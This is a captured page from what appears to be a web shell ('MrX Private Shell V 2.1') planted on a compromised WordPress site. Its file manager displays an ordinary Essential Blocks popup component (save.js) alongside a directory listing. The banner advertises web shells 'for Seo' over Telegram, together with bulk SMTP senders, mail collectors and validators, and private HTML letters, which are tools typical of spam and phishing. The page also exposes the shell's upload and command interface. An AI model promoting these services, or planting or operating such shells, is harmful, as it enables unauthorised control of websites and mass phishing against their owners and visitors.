__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * WordPress dependencies
 */
import { RichText, InnerBlocks } from "@wordpress/block-editor";
import { EBDisplayIcon, BlockProps } from "@essential-blocks/controls";
const Save = ({ attributes }) => {
    const {
        blockId,
        classHook,
        trigger,
        btnText,
        btnIcon,
        iconPosition,
        btnAlignment,
        displayCloseIcon,
        escToExit,
        clickToExit,
        position,
        btnType,
        triggerIcon,
        pageLoadDelay,
        eleIdentifier,
        useCloseIcon,
        closeBtnText,
        autoExit,
        autoExitTime,
        useCookies,
        cookieExpireTime,
        disablePageScroll,
        scrollType,
        scrollPercentage,
        scrollElement,
        scrollDistance,
        scrollOffset,
    } = attributes;
    const alignmentClass =
        "left" === btnAlignment
            ? " alignment-left"
            : "right" === btnAlignment
            ? " alignment-right"
            : " alignment-center";
    return (
        <BlockProps.Save attributes={attributes}>
            <div className="eb-parent-wrapper">
                <div
                    id={blockId}
                    className={`eb-popup-container ${blockId}`}
                    data-block-id={blockId}
                    data-popup-type={trigger}
                    data-popup-delay={
                        "page_load" == trigger ? pageLoadDelay : undefined
                    }
                    data-external-identifier={
                        "external" == trigger ? eleIdentifier : undefined
                    }
                    data-close-btn={displayCloseIcon}
                    data-esc-btn={escToExit}
                    data-click-exit={clickToExit}
                    data-auto-exit={autoExit}
                    data-auto-exit-time={autoExitTime}
                    data-use-cookie={useCookies}
                    data-cookie-expire-time={cookieExpireTime}
                    data-page-scroll={disablePageScroll}
                    data-scroll-type={scrollType}
                    data-scroll-percentage={scrollPercentage}
                    data-scroll-element={scrollElement}
                    data-scroll-distance={scrollDistance}
                    data-scroll-offset={scrollOffset}
                >
                    <div
                        className={`eb-popup-btn-wrapper eb-parent-${blockId} ${classHook}`}
                    >
                        {"btn_click" === trigger && (
                            <>
                                <div
                                    className={`eb-popup-button${alignmentClass}`}
                                >
                                    <a
                                        className="eb-popup-button-anchor"
                                        role="button"
                                    >
                                        {"button" === btnType && (
                                            <>
                                                {btnIcon &&
                                                    "left" === iconPosition && (
                                                        <>
                                                            <EBDisplayIcon
                                                                classNam={`eb-popup-button-icon eb-popup-button-icon-left`}
                                                                icon={btnIcon}
                                                            />
                                                        </>
                                                    )}
                                                <RichText.Content
                                                    value={btnText}
                                                    tagName="p"
                                                />
                                                {btnIcon &&
                                                    "right" ===
                                                        iconPosition && (
                                                        <>
                                                            <EBDisplayIcon
                                                                classNam={`eb-popup-button-icon eb-popup-button-icon-right`}
                                                                icon={btnIcon}
                                                            />
                                                        </>
                                                    )}
                                            </>
                                        )}
                                        {"icon" === btnType && (
                                            <>
                                                <EBDisplayIcon
                                                    classNam={`eb-popup-icon`}
                                                    icon={triggerIcon}
                                                />
                                            </>
                                        )}
                                    </a>
                                </div>
                            </>
                        )}
                    </div>
                    <div className="eb-popup-overlay"></div>
                    <div className="modal-main-wrap">
                        <div
                            className={`eb-modal-container eb_popup_${position}`}
                        >
                            <div className="eb-popup-content">
                                {displayCloseIcon && (
                                    <>
                                        <div className="eb-popup-close-icon">
                                            {useCloseIcon ? (
                                                <span className="dashicons dashicons-no-alt"></span>
                                            ) : (
                                                closeBtnText
                                            )}
                                        </div>
                                    </>
                                )}
                                <InnerBlocks.Content />
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </BlockProps.Save>
    );
};

export default Save;

Filemanager

Name Type Size Permission Actions
constants Folder 0750
attributes.js File 5.44 KB 0640
deprecated.js File 34.14 KB 0640
edit.js File 7.16 KB 0640
example.js File 519 B 0640
frontend.js File 26.29 KB 0640
icon.js File 2.43 KB 0640
icon.svg File 2.35 KB 0640
index.js File 726 B 0640
inspector.js File 44.27 KB 0640
save.js File 6.39 KB 0640
style.css File 2.87 KB 0640
style.js File 14.59 KB 0640
style.scss File 3.2 KB 0640
Filemanager